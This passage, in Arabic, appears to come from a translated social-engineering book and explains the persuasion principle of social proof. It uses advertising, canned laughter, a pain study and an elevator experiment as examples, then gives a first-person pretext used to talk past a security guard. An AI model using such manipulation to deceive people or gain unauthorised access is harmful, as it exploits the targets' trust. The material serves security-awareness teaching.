‫اﻟﻣﺳﺗﮭﻠﻛﯾن اﻷﺷﺧﺎص اﻟﻣﺷﮭورﯾن ﯾﻌﺟﺑون وﯾﻌﺷﻘون ارﺗداء أو اﺳﺗﺧدام أو ﺣﺗﻰ اﻟﺣدﯾث ﻋن ھذه اﻟﻣﻧﺗﺟﺎت‪ ،‬ﻛﺄﻧﮭم ﯾﻘوﻟون ﻟﮭم ﻣﺑﺎﺷرة ﻣن ﻗﺑل‬
‫ھذا اﻟﺷﺧص ﻛﯾف أن ھذا اﻟﻣﻧﺗﺞ ﻣدھش وراﺋﻊ‪ .‬اﻟﻛﺛﯾر ﺳوف ﯾﺷﺎھد دﻟﯾﻼ ﻗوﯾﺎ ﻋﻠﻰ أن ھذه اﻟﻣﻧﺗﺟﺎت ﺗﺳﺗﺣﻖ ﻛل ﺑﻧس‪/‬ﻣﻠﯾم دﻓﻊ ﻓﯾﮫ‪.‬‬
‫ﻗﺎﻟت اﻟﺷرﻛﺔ ﻓﻲ ﺟﮭودھﺎ اﻟﺗﺳوﯾﻘﯾﺔ أن ﻟﮭﺎ ﺑﻌض اﻟﻘﺑﻌﺎت ذات طﺎﺑﻊ ﻣﺛﯾر )‪ (hottest‬ﻓﻲ اﻟﺳوق وﻛﺎن دﻟﯾﻠﮭﺎ ﻋﻠﻰ أن ذﻟك ان ﯾﻣﻛﻧك رؤﯾﺔ‬
‫اﻟﺳﯾد ﺟﺎﻛﺳون ﯾرﺗدﯾﮭﺎ‪.‬‬
‫اﻟﻣﻌﻠﻧون )‪ (Advertisers‬ﻛﺛﯾرا ﻣﺎ ﯾﻘوﻟوا أﺷﯾﺎء ﻣﺛل‪" ،‬أﻛﺑر اﻟﻣﻧﺗﺟﺎت ﻣﺑﯾﻌﺎ" أو "أﻛﺛر اﻟﻣﻧﺗﺟﺎت إﺛﺎره" ﻹﻗﻧﺎع ﺟﻣﮭورھم أن ﻟدﯾﮭم دﻋم ﻣن‬
‫اﻟﻌدﯾد ﻣن أﻗراﻧﻧﺎ‪/‬زﻣﻼﺋﻧﺎ ﻓﻲ ھذه اﻟﻣﺗطﻠﺑﺎت‪.‬‬
‫ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪ ،‬ﻧﺷر ﻣوﻗﻊ ‪ Media-Studies.ca‬ﻣﻘﺎل ﻋن اﻟﺗﺄﺛﯾر ﻋﻠﻰ اﻷھداف ﺑﺎﺳﺗﺧدام اﻟﺑرھﺎن‪/‬اﻟدﻟﯾل اﻻﺟﺗﻣﺎﻋﻲ‬
‫‪http://www.media-studies.ca/articles/influence_ch4.htm‬‬
‫"أن اﻟﺗﺟﺎرب ﻗد وﺟدت أن اﺳﺗﺧدام اﻟﺿﺣك اﻟﻣﻌﻠب )‪ (canned laughter‬ﯾﺗﺳﺑب ﻓﻲ ان اﻟﺟﻣﮭور ﯾﺿﺣك أطول وأﻛﺛر ﻓﻲ ﻛﺛﯾر ﻣن‬
‫اﻷﺣﯾﺎن ﻋﻧدﻣﺎ ﯾﺗم ﺗﻘدﯾم ﻣواد ﺗﺗﻣﺗﻊ ﺑروح اﻟدﻋﺎﺑﺔ‪ ،‬ﻣﻊ ﺗﻘﯾم ھذه اﻟﻣواد ﻋﻠﻰ اﻧﮭﺎ ﻣﺳﻠﯾﮫ‪ .‬وﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪ ،‬ﺑﻌض اﻷدﻟﺔ ﺗﺷﯾر إﻟﻰ أن‬
‫اﻟﺿﺣك اﻟﻣﻌﻠب )‪ (canned laughter‬ھو أﻛﺛر ﻓﻌﺎﻟﯾﺔ ﻣﻊ اﻟﻧﻛﺎت اﻟﺳﯾﺋﺔ"‪ .‬اﻟﺳؤال‪ :‬ﻟﻣﺎذا ﯾﻌﻣل‪ ،‬ﻻ ﺳﯾﻣﺎ أن ﻣﺳﺎر اﻟﺿﺣك ﯾﻛون ﻓﻲ ﻛﺛﯾر‬
‫ﻣن اﻷﺣﯾﺎن وھﻣﻰ؟ ﻟﻺﺟﺎﺑﺔ ﻋﻠﻰ ھذا اﻟﺳؤال‪ ،‬ﯾﻔﺗرض ﺳﯾﺎﻟدﯾﻧﻰ ﻣﺑدأ اﻟدﻟﯾل اﻻﺟﺗﻣﺎﻋﻲ‪" :‬إﺣدى اﻟوﺳﺎﺋل اﻟﺗﻲ ﻧﺳﺗﺧدﻣﮭﺎ ﻟﺗﺣدﯾد ﻣﺎ ھو اﻟﺻﺣﯾﺢ‬
‫ﻟﻣﻌرﻓﺔ ﻣﺎذا ﯾﻔﻛر اﻵﺧرﯾن ﻓﻲ اﻟﺻﺣﯾﺢ‪...‬أﻧﻧﺎ ﻧﻧظر اﻟﻰ اﻟﺳﻠوك اﻟﺻﺣﯾﺢ واﻟراﺟﺢ أﻛﺛر ﻓﻲ ﺣﺎﻟﺔ ﻣﻌﯾﻧﺔ ﻟدرﺟﺔ أن ﻧرى اﻵﺧرﯾن ﯾﻘوﻣون‬
‫ﺑذﻟك"‪ .‬ﻛﻣﺎ ھو اﻟﺣﺎل ﻣﻊ ﻏﯾرھﺎ ﻣن "أﺳﻠﺣﺔ اﻟﻧﻔوذ‪ "،‬اﻟدﻟﯾل اﻻﺟﺗﻣﺎﻋﻲ ھو اﺧﺗﺻﺎر واﻟﺗﻲ ﺗﻌﻣل ﻋﺎدة ﺑﺷﻛل ﺟﯾد ﺑﺎﻟﻧﺳﺑﺔ ﻟﻧﺎ‪ :‬إذا ﺗواﻓﻘﻧﺎ ﻣﻊ‬
‫ﺳﻠوك ﻧﺣن ﻧراه ﻣن ﺣوﻟﻧﺎ‪ ،‬ﻓﻧﺣن أﻗل اﺣﺗﻣﺎﻻً ﻟﺻﻧﻊ ھﻔوه اﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﺣﻘﯾﻘﺔ أن اﻟﺿﺣك اﻟﻣﻌﻠب )‪ (canned laughter‬ﯾﺛﯾر اﺳﺗﺟﺎﺑﺔ ﺗﻠﻘﺎﺋﯾﺔ‬
‫ﻣن اﻟﺟﻣﺎھﯾر ﺗﺷﯾر اﻟﻰ أن اﻹﺷﺎرات اﻟﺳﻣﻌﯾﺔ ﻣﺣﻔزات ﻗوﯾﺔ ﻷﻧﮭﺎ ﺗؤﺛر ﻋﻠﯾﻧﺎ ﻋﻠﻰ ﻣﺳﺗوى ﻣن اﻟوﻋﻲ وأن ﻣن اﻟﺻﻌب ﻧﻘدھﺎ"‪.‬‬

‫ﻣﻠﺣوظﮫ‪ :‬اﻟﺿﺣك اﻟﻣﻌﻠب )‪ (canned laughter‬ﯾﺳﻣﻰ أﯾﺿﺎ ﻣﺳﺎر اﻟﺿﺣك )‪ ،(laugh track‬ﺣﯾث ﯾﺗم إﺿﺎﻓﺔ ﻣﺳﺎر اﻟﺻوت إﻟﻰ اﻷﻓﻼم‬
‫اﻟﻛوﻣﯾدﯾﺔ اﻟﺗﻠﻔزﯾوﻧﯾﺔ‪ .‬وﯾﺗم اﺳﺗﺧداﻣﮫ ﺧﻼل أﺟزاء ﻣن اﻟﻌرض ﻋﻧدﻣﺎ ﯾﺗوﻗﻊ اﻟﻣرء أن ﯾٌﺿﺣك اﻟﺟﻣﮭور‪ ،‬وأﻧﮫ ﺗرﻗم اﻟﻧﻛﺎت أو اﻟﻠﺣظﺎت‬
‫اﻟﻛوﻣﯾدي واﻟﺗﮭرﯾﺟﻲ‪ .‬ﻟﯾس ﻛل اﻷﻓﻼم اﻟﻛوﻣﯾدﯾﺔ اﻟﺗﻠﻔزﯾوﻧﯾﺔ ﯾﺳﻣﻊ ﻓﯾﮭﺎ اﻟﻣرء اﻟﺿﺣك ﺑﻌد اﺳﺗﺧدام اﻟﻧﻛﺎت واﻟﺿﺣك اﻟﻣﻌﻠﺑﺔ‪ .‬او ﺑﻣﻌﻧﻰ‬
‫اﺻﺢ ھو اﺳﺗﺧدام أﺻوات ﺿﺣك اﻟﺟﻣﮭور ﻋﻧد اﻟﻠﺣظﺎت اﻟﻛوﻣﯾدﯾﺔ او اﻟﻧﻛﺎت ﻛﺗﺄﻛﯾد ﻋﻠﻰ ذﻟك‪.‬‬

‫واﺣد ﻣن اﻟﺑﺣوث اﻷﻛﺛر ﻋﻣﻘﺎ ﻓﻲ ھذا واﻟﺗﻲ ﻗﺎم ﺑﮭﺎ اﻟدﻛﺗور ﻛرﯾﺞ )‪ (Dr. K. D. Craig‬ﻓﻲ ﻋﺎم ‪ .1978‬ﻛرس اﻟدﻛﺗور ﻛرﯾﺞ ﺣﯾﺎﺗﮫ ﻟدراﺳﺔ‬
‫اﻷﻟم وﺗﺄﺛﯾره ﻋﻠﻰ اﻟﻧﺎس‪ .‬ﻓﻲ ﻋﺎم ‪ 1978‬ﻧﺷر ﻣﻘﺎﻟﮫ ﺑﻌﻧوان "ﻧﻣذﺟﺔ اﻟﺗﺄﺛﯾرات اﻻﺟﺗﻣﺎﻋﯾﺔ ﻋﻠﻰ ﻧظرﯾﺔ اﻟﻘرارات اﻟﺣﺳﯾﺔ واﻟﻣؤﺷرات اﻟﻧﻔﺳﯾﺔ‬
‫ﻟﻸﻟم )‪.(Social Modeling Influences on Sensory Decision Theory and Psychophysiological Indexes of Pain‬‬
‫واﻟﺗﻲ ﯾﻣﻛن اﻻطﻼع ﻋﻠﯾﮫ ﻣن ﺧﻼل ھذا اﻟراﺑط‪:‬‬
‫‪http://www.ncbi.nlm.nih.gov/pubmed/690805?dopt=Abstract‬‬
‫واﻟﺗﻲ ﻗﺎم ﻓﯾﮭﺎ ﺑﻔﻌل ﺗﺟرﺑﺔ ﻣﺎ واﻟﺗﻲ وﺻﻔﮭﺎ ﻋﻠﻰ اﻟﻧﺣو اﻟﺗﺎﻟﻲ‪:‬‬
‫اﻟﻣواﺿﯾﻊ اﻟﺗﻲ ﺗﺗﻌرض ﻟﻠﻧﻣﺎذج اﻻﺟﺗﻣﺎﻋﯾﺔ ﺗﻘوم ﺑﺈﺧﻔﺎء اﻟﺗﺳﺎﻣﺢ أو اﻟﺗﻌﺻب اﻟﺗﻲ ﺗظﮭر ﻋﻣوﻣﺎ اﻟﺳﻠوك اﻟﻣطﺎﺑﻖ ﻓﻲ ﺗﺻﻧﯾﻔﺎﺗﮭﺎ اﻟﻠﻔظﯾﺔ ﻟﻠﺗﺣﻔﯾز‬
‫اﻟﻣؤﻟم‪ .‬إﻧﮭﺎ ﻏﯾر واﺿﺣﺔ‪ ،‬وﻣﻊ ذﻟك‪ ،‬ﺳواء ﻛﺎﻧت ھذه اﻟﺗﻐﯾﯾرات ﺗﻌﻛس اﻟﺗﻐﯾﯾر اﻟطوﻋﻲ ﻣن اﻷدﻟﺔ أو ﺗﻐﯾﯾرات ﺣﻘﯾﻘﯾﺔ ﻓﻲ اﻟﻣﺣﻧﺔ‪.‬‬
‫ھذه اﻟدراﺳﺔ اﺳﺗﺧدﻣت اﻟﺗداﺑﯾر اﻟﺑدﯾﻠﺔ واﻟﺧﺎﺿﻌﺔ ﻟﻠﻘﯾود اﻟﻣﻧﮭﺟﯾﺔ ﻟﻠدراﺳﺎت اﻟﺳﺎﺑﻘﺔ ﻣن ﺧﻼل ﻓﺣص ﻗوة او اﺣﺗﻣﺎل ‪non-palmar skin‬‬
‫ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ﻧﻘل او ﺗوﺻﯾﻠﯾﺔ ‪ palmar skin‬وﻣﻌدل ﺿرﺑﺎت اﻟﻘﻠب ﻟﻣؤﺷرات اﻻﺳﺗﺟﺎﺑﺔ اﻟﻧﻔﺳﯾﺔ واﻟﻔﺳﯾوﻟوﺟﯾﺔ ﻟﻠﺻدﻣﺔ ﻛﮭرﺑﺎﺋﯾﺔ‪ ،‬وﺑﺗﻘﯾﯾم‬
‫اﻟﺗﻌﺑﯾرات اﻟﻠﻔظﯾﺔ ﻣن اﻷﻟم ﻣﻊ ﻣﻧﮭﺟﯾﺔ ﻧظرﯾﺔ اﻟﻘرار اﻟﺣﺳﻲ‪.‬‬
‫ﻋدد ﻣن اﻟﻣؤﺷرات ﻠ ‪ non-palmar skin‬وﻣﻌدل ﺿرﺑﺎت اﻟﻘﻠب أظﮭرت اﻧﺧﻔﺎض اﻟﺗﻔﺎﻋل ﻓﻲ اﻟﻣﺟﻣوﻋﺔ اﻟﻣﺗﺳﺎﻣﺣﺔ‪ .‬اﻟﻧﻣوذج اﻟﻣﺗﺳﺎﻣﺢ‬
‫ﻣرﺗﺑط أﯾﺿﺎ ﻣﻊ اﻧﺧﻔﺎض اﻟﺗوﺗر ذاﺗﯾﺎ‪ .‬ﻛﺎﻧت اﻟﻧﺗﺎﺋﺞ ﻣﺗﺳﻘﺔ ﻣﻊ اﻟوﺿﻊ اﻟذي ﺗﻐﯾر ﻓﻲ ﻣؤﺷرات اﻻﻟم اﻟذي ﯾﺻﺎﺣب اﻟﺗﻌرض ﻟﻧﻣوذج اﻟﻣﺗﺳﺎﻣﺢ‬
‫اﻟﻣﺗﻣﺛل ﻓﻲ اﻻﺧﺗﻼﻓﺎت ﻓﻲ اﻟﺧﺻﺎﺋص اﻷﺳﺎﺳﯾﺔ ﻟﻠﺗﺟﺎرب اﻟﻣؤﻟﻣﺔ ﻋل ﻋﻛس ﻗﻣﻊ اﻟﻣﻌﻠوﻣﺎت‪.‬‬
‫ﻻﺧﺗﺻﺎر ھذا‪ ،‬ﻣﺎ ﻓﻌﻠﮫ أﺳﺎﺳﺎ ﻛﺎن إﺻﺎﺑﺔ اﻟﻧﺎس ﺑﺻدﻣﮫ وﻣن ﺛم طﻠب ﻣﻧﮭم ﺗﻘﯾم ﻣﺳﺗوى آﻻﻣﮭم‪ .‬ﺛم اﺳﺗﺧدام ﻣﺗﻣﺎﺛل وﻟﻛن ﻣﻊ درﺟﺎت ﻣﺗﻔﺎوﺗﺔ‬
‫ﻣن اﻟﺻدﻣﺎت ﻟﻠﻘﯾﺎم ﺑﻧﻔس اﻻﺧﺗﺑﺎر ﻣﻊ ﺣﺿور ﺷﺧص واﻟذي ﻛﺎن 'ﻣﺗﺳﺎﻣﺣﺎ' ﻟﻸﻟم؛ إﻧﮫ ﯾﺑدو ﻛﻣﺎ ﻟو ﻛﺎﻧت ﻋﺑﺎءة ﺳﺣرﯾﺔ ﺣول ھذا اﻟﻣوﺿوع‪،‬‬
‫ﻷﻧﮭم اﻵن أﻛﺛر ﺗﺳﺎﻣﺣﺎ ﻟﻸﻟم‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪923‬‬

‫ھذه اﻟﺗﺟرﺑﺔ ﺗﺷﯾر إﻟﻰ ﺣﻘﯾﻘﺔ أن ﺟزءا ﻣن اﻟداﻓﻊ‪/‬اﻟﺣﺎﻓز ﻹظﮭﺎر أو ﻋرض أو اﻟﺷﻌور ﺑﺎﻷﻟم ﻣرﺗﺑط ﺑﻛﯾﻔﯾﺔ ﺗﺻرف اﻵﺧرﯾن ﺣوﻟك‪ .‬اﻷﺷﺧﺎص‬
‫ﻓﻲ ھذا اﻟﺑﺣث ﻟم ﯾﻛوﻧوا ﻣﺟرد أﺷﺧﺎص ﺗﺻرف ﻣﺛل ﻣن أﺻﺎﺑﮫ ﺿرر أﻗل‪ :‬ردود أﻓﻌﺎل اﻟﺟﻠد )‪ ،(skin‬وﻣﻌدل ﺿرﺑﺎت اﻟﻘﻠب أظﮭرت ﻓﻌﻼ‬
‫أﻗل رد ﻓﻌل ﻟﻸم ﻋﻧدﻣﺎ ﻛﺎن اﻟﻧﻣوذج اﻟﻣﺗﺳﺎﻣﺢ ﻓﻲ اﻟﻣﻛﺎن‪.‬‬
‫ﻣﺛﺎل ﻟروح اﻟدﻋﺎﺑﺔ ﻣن ﻗوة اﻹﺛﺑﺎت‪/‬اﻟدﻟﯾل اﻻﺟﺗﻣﺎﻋﻲ‪ ،‬ﺗﺣﻘﻖ ﻣن ﺷرﯾط اﻟﻔﯾدﯾو اﻟﺗﺎﻟﻰ ﻟﺑرﻧﺎﻣﺞ ﺗﻠﻔزﯾوﻧﻲ ﻗدﯾم ﻣن ﺧﻼل اﻟراﺑط اﻟﺗﺎﻟﻰ‪:‬‬
‫‪https://www.youtube.com/watch?feature=player_embedded&v=oGwcZsOge2k‬‬
‫ﯾوﺿﺢ ھذا اﻟﻔﯾدﯾو ﻣواﺿﯾﻊ ﻟﻠﺗﺄﺛر ﻋﻠﻰ ﺷﺧص ﻣﺎ ﻟﻠﻘﯾﺎم ﺑﺎﺗﺟﺎه ﻣﺧﺗﻠف ﻓﻲ اﻟﻣﺻﻌد‪ ،‬ﺣﯾث أﻧﮫ ﻋﻧد ﻧﻘطﺔ واﺣدة ﻓﺎﻧﮫ ﺳوف ﯾواﺟﮫ اﻟﺟزء اﻟﺧﻠﻔﻲ‬
‫ﻣن اﻟﻣﺻﻌد ﻷن اﻟﺟﻣﯾﻊ ﯾﻔﻌل ذﻟك‪ .‬ﺣﯾث ﻛﺎن ھﻧﺎك أرﺑﻊ أو ﺧﻣس ﻣن اﻻﻓراد اﻟﻣﺷﺎرﻛﯾن ﻓﻲ ھذا اﻻﺧﺗﺑﺎر ﻓﻲ اﻟﻣﺻﻌد‪ .‬ﻋﻧد ﻓواﺻل زﻣﻧﯾﺔ‬
‫ﻣﺣددة‪ ،‬اﻟﻣﺷﺎرﻛون ﻛل ﯾﺗﺟﮫ ﺑدوره إﻟﻰ اﻟﯾﺳﺎر‪ ،‬وإﻟﻰ اﻟﯾﻣﯾن‪ ،‬أو إﻟﻰ اﻟوراء‪ .‬ﺑﻌد ﺑﺿﻊ ﺛوان‪ ،‬ﻓﺄن اﻟﻛﺎﻣﯾرا اﻟﺧﻔﯾﺔ أظﮭر اﻟﻣوﺿوع )اﻟﺷﺧص‬
‫اﻟﮭدف( ﺗﻘﯾد ﺑﮭذا وﺗواﺟﮫ ﻋﻠﻰ ﻧﻔس اﻻﺗﺟﺎه‪ ،‬إزاﻟﺔ ﻗﺑﻌﺔ‪ ،‬أو اﺗﺧﺎذ ﺑﻌض اﻹﺟراءات اﻷﺧرى‪.‬‬
‫اﺳﺗﺧدام اﻟدﻟﯾل اﻻﺟﺗﻣﺎﻋﻲ ﻓﻲ ﯾد اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻣن اﻟﻣﻣﻛن أن ﺗﻛون أداة ﻗﺎﺗﻠﺔ‪ .‬ھذا اﻟﻣﺑدأ ﯾﻣﻛن أن ﯾﺳﺗﺧدم ﻟﺗﺣﻔﯾز اﻣﺗﺛﺎل اﻟﺷﺧص ﻣﻊ‬
‫اﻟطﻠب اﻟذي ﺗم إﺑﻼﻏﮫ ﺑﮫ ﻣن ﺧﻼل اﺗﺧﺎذ إﺟراء أو ﺳﻠوك ﻣن ﻗﺑل اﻟﻌدﯾد ﻣن اﻷﻓراد اﻵﺧرﯾن‪ ،‬ورﺑﻣﺎ ﺑﻌض اﻟذﯾن ھم ﻗدوة‪ ،‬ﻣن ﺧﻼﻻه ﺗﺣﺎول‬
‫اﻟﺣﺻول ﻋﻠﻰ ھذا اﻟﺷﺧص ﻟﻠﻘﯾﺎم ﺑﮫ‪ .‬اﻟدﻟﯾل اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛن أن ﯾوﻓر اﺧﺗﺻﺎرا ﻟﺗﺣدﯾد ﻛﯾﻔﯾﺔ اﻟﺗﺻرف‪ .‬وﻟﻛن ﻓﻲ اﻟوﻗت ﻧﻔﺳﮫ ﯾﻣﻛن ﺟﻌل‬
‫اﻻھداف ﻋرﺿﺔ ﻟﺗﻼﻋب اﻵﺧرﯾن اﻟذﯾن ﯾﺳﻌون ﻻﺳﺗﻐﻼل ھذا اﻟﺗﺄﺛﯾر‪.‬‬
‫اﻟدﻟﯾل اﻻﺟﺗﻣﺎﻋﻲ ھو اﻷﻛﺛر ﺗﺄﺛﯾرا ﺗﺣت ھذﯾن ﺷرطﯾن‪:‬‬
‫‪ -‬ﻋدم اﻟﯾﻘﯾن‪/‬اﻟﺷك )‪ :(Uncertainty‬ﻋﻧدﻣﺎ ﺗﻛون اﻟﻧﺎس ﻏﯾر ﻣﺗﺄﻛدة واﻟوﺿﻊ ﻏﺎﻣض ﻓﮭم أﻛﺛر ﻋرﺿﺔ ﻟﻣراﻗﺑﺔ ﺳﻠوك اﻵﺧرﯾن‬
‫واﻟﻘﺑول ﺑﺄن ﺳﻠوك اﻷﺧرﯾن ھو ﻋﻠﻰ اﻟﻧﺣو اﻟﺻﺣﯾﺢ‪.‬‬
‫‪ -‬اﻟﺗﺷﺎﺑﮫ )‪ :(Similarity‬اﻟﻧﺎس أﻛﺛر ﻣﯾﻼ ﻟﺗﺣذو ﺣذو اﻵﺧرﯾن اﻟذﯾن ﯾﺗﺷﺎﺑﮭون ﻣﻊ أﻧﻔﺳﮭم‪.‬‬
‫ھذه اﻟﺷروط ﺣﯾث اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛﻧﮫ اﺳﺗﺧدام دﻟﯾل اﻻﺟﺗﻣﺎﻋﻲ‪ .‬ﻣﻣﺎ ﯾﺷﯾر اﻟﯾﮫ اﻟﻧص أو ﺣﺗﻰ ﻣﻣﺎ ﯾﻌﻧﯾﮫ ﺿﻣﻧﯾﺎ أن اﻟﻛﺛﯾر ﻣن اﻟﻧﺎس‬
‫ﻗﺑل ھذا اﻟﮭدف ﻗد اﺗﺧذت إﺟراء ﻣﻌﯾن ﯾﻣﻛن أن ﺗزﯾد ﻓرﺻك ﻟﻠﻧﺟﺎح‪.‬‬
‫ﻓﻲ واﺣدة ﻣن ﺣﺎﻻت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﺣﯾث ﺗم إﯾﻘﺎﻓﻲ ﻣن ﻗﺑل ﺣﺎرس أﻣن ﻟﯾرى‪ ،‬ﻓﻘﻣت ﺑﺑﺳﺎطﺔ ﺑﺎﻟﺗﺻرف وﻛﺄﻧﻧﻲ ﻣﺷوش ﻟﻣﺎذا ﺗم إﯾﻘﺎﻓﻲ‪،‬‬
‫وﻗﻠت‪" :‬ﺑﺎﻷﻣس‪ ،‬ﺟﯾم ﺳﻣﺢ ﻟﻲ ﺑﺎﻟدﺧول ﺑﻌد اﻟﺗﺣﻘﻖ ﻣن ﺟﻣﯾﻊ أوراق اﻋﺗﻣﺎدي‪ .‬أﻧﺎ ﻛﻧت أﺣﺳب ﻓﻘط إﻧﻧﻲ ﻣﺎ زﻟت ﻣﺳﺟﻼ"‪.‬‬
‫ﺣﺎرس اﻷﻣن اﻟﺣﺎﻟﻲ‪ ،‬ﺳﻣﻊ أن ﺟﯾم واﻓﻖ ﻟﻲ ﺑﺎﻟدﺧول‪ ،‬ﻓﺳﻣﺢ ﻟﻲ ﺑﺎﻟﻣرور دون ﺳؤال‪ .‬اﻟدﻟﯾل اﻻﺟﺗﻣﺎﻋﻲ ﻻ ﯾﻌﻣل داﺋﻣﺎ ﺑﮭذه اﻟﺳﮭوﻟﺔ‪ ،‬وإﻧﻣﺎ ھو‬
‫ﻗوة ﻗوﯾﺔ ﺟدا‪.‬‬
‫اﻟﻣﺑﺎدئ اﻟﻣﺑﯾﻧﺔ ﻓﻲ ھذا اﻟﻘﺳم ھﻲ ﺑﻌض ﻣن أﻋﻧف أﺳﺎﻟﯾب اﻟﺗﺄﺛﯾر اﻟﻣﺳﺗﺧدﻣﺔ اﻟﯾوم‪ .‬ﯾﻣﻛن ﻟﮭذه اﻟﺗﻛﺗﯾﻛﺎت أن ﺗﻌطﻲ ﺣرﻓﯾﺎ اﻟﻘوى ﻟﻠﻣﮭﻧدس‬
‫اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﺗﺣﻔﯾز اﻟﻧﺎس‪ ،‬ﻧﻘﻠﮭم‪ ،‬وﺗﺳﺑب ﻟﮭم اﻟﺗﻔﺎﻋل ﺑﺎﻟطرﯾﻘﺔ اﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ وﺿﻌﮭم ﺗﺣت ﺳﯾطرة اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪.‬‬
‫ﺗذﻛر ھذا أن اﻟﺗﺄﺛﯾر وﻓن اﻹﻗﻧﺎع ھو ﻋﻣﻠﯾﺔ اﻟﺣﺻول ﻋﻠﻰ ﺷﺧص آﺧر ﺗﺟﻌﻠﮫ ﯾرﯾد أن ﯾﻔﻌل‪ ،‬ﯾﺗﻔﺎﻋل‪ ،‬ﯾﻌﺗﻘد‪ ،‬أو ﯾؤﻣن ﺑﺎﻟطرﯾﻘﺔ اﻟﺗﻲ ﺗرﯾدھﺎ‬
‫ﻟﮭم‪ .‬ﺧﻠﻖ ھذا اﻟداﻓﻊ ﺿﻣن اﻟﮭدف ھو ﻗوة ﻗوﯾﺔ‪ .‬أﻧﮭﺎ أﻋظم ﺗﻘﻧﯾﮫ ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ .‬ﯾﻣﻛن ﻟﮭذه اﻟﻣﺑﺎدئ اﻟﻣﺑﯾﻧﺔ ﻓﻲ ھذا اﻟﻔﺻل أن ﺗﺟﻌل‬
‫اﻟﻘوة اﻟﻌظﻣﻰ ﺣﻘﯾﻘﺔ واﻗﻌﺔ‪ ،‬وﻟﻛن ﻟﯾس ﻣن دون اﻟﻌواﻗب واﻟﻛﺛﯾر ﻣن اﻟﻌﻣل‪.‬‬
‫ﻣﺎذا أﻋﻧﻲ ﺑذﻟك؟ ﺣﯾث إﻧﻧﻲ ﻛﺛﯾرا ﻣﺎ وﺟدت أن ﺑﻌدﻣﺎ أﻣﺎرس ﻣﮭﺎرة ﻣﻌﯾﻧﺔ وﻣن ﺛم إﺗﻘﺎن ذﻟك‪ ،‬ﻓﺎن "إﯾﻘﺎف ﺗﺷﻐﯾﻠﮫ" ﻣن اﻟﺻﻌب ﻟﻠﻐﺎﯾﺔ‪ .‬ھذه‬
‫اﻟﺻﻔﺔ ﻗد ﺗﺑدو ﺟذاﺑﺔ‪ ،‬وﻟﻛن ﺗوﺧﻰ اﻟﺣذر ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﻣن اﻟذي ﺳوف ﺗؤﺛر ﻋﻠﯾﮭم‪ ،‬وﺧﺎﺻﺔ ﻛﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ ،‬ھﻲ ﻓﻛرة ﺟﯾدة‪.‬‬
‫ﻟﻐرس ھذه اﻟﻣﮭﺎرات ﻓﻲ ﺷﺧﺻﯾﺗك‪ ،‬واﺳﺗﺧداﻣﮭﺎ ﻟﻣﺳﺎﻋدة اﻵﺧرﯾن‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻋﻧد اﻟﺑدء ﻓﻲ ﻣﻣﺎرﺳﺔ ﻗراءة اﻠ ‪microexpressions‬‬
‫وﺣﺗﻰ اﺳﺗﺧداﻣﮭﺎ ﻟﻠﺗﻼﻋب ﺑﺎﻟﮭدف‪ ،‬ﻗد ﺗﻛون اﻻﺳﺗﺟﺎﺑﺔ اﻷوﻟﯾﺔ ھو ان ﺗﻌﺗﻘد أن ﻟدﯾك ﺑﻌض اﻟﻘوة اﻟﻐﺎﻣﺿﺔ اﻟﺗﻲ ﺗﺳﻣﺢ ﻟك ﺑﻘراءة اﻟﻌﻘول ﺗﻘرﯾﺑﺎ‪.‬‬
‫ھذا ھو اﻟﻣﻛﺎن ﺣﯾث ﻣن اﻟﺣﻛﻣﺔ اﻟﺣذر‪ .‬ﻣﺎرس ھذه اﻟﻣﮭﺎرة واﻋﻣل ﻧﺣو اﺗﻘﺎن ذﻟك‪ ،‬وﻟﻛن ﻻ ﺗﻔﺗرض أﻧك ﺗﻌرف ﻛل ﺷﻲء‪.‬‬
‫إذا ﻛﺎن ﺑﺈﻣﻛﺎﻧك اﻟﺗﺄﺛﯾر ﻋﻠﻰ ﺷﺧص ﻣﺎ ﻟﻠﺗوﻗف ﻋن اﻟﺗدﺧﯾن‪ ،‬ﻓﺑدء اﻟﻌﻣل ﺑﮭﺎ‪ ،‬أو أن ﯾﻛون أﻛﺛر ﺻﺣﺔ‪ ،‬ﻓﺈﻧك ﺳوف ﺗﺗﻌﻠم اﻻﺳﺗﻔﺎدة ﻣن ھذه‬
‫اﻟﻣﮭﺎرات ﻓﻲ اﻟرﻏﺑﺔ ﻓﻲ إﻓﺎدة اﻵﺧرﯾن‪ ،‬واﺳﺗﺧداﻣﮭﺎ ﻓﻲ اﻟﻣﻣﺎرﺳﺔ اﻟﺧﺎﺻﺔ ﺑك ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﯾﺳت ﻓﻛرة ﺑﻌﯾدة اﻟﻣﻧﺎل‪.‬‬
‫اﻟﻌدﯾد ﻣن ھذه اﻟﻣﮭﺎرات ﺗﺗطﻠب ﻣﻧك أن ﺗﻛون ﻓﻌﻼ ﻣﮭﺗﻣﺎ ﺑﺎﻟﻧﺎس‪ ،‬ﺗﻌﺗﻧﻰ ﺑﮭم‪ ،‬وﺗﺗﻌﺎطف ﻣﻌﮭم‪ .‬ﻓﺈذا ﻛﺎﻧت ھذه ﻟﯾﺳت اﻟﻘدرات اﻟطﺑﯾﻌﯾﺔ ﺑﺎﻟﻧﺳﺑﺔ‬
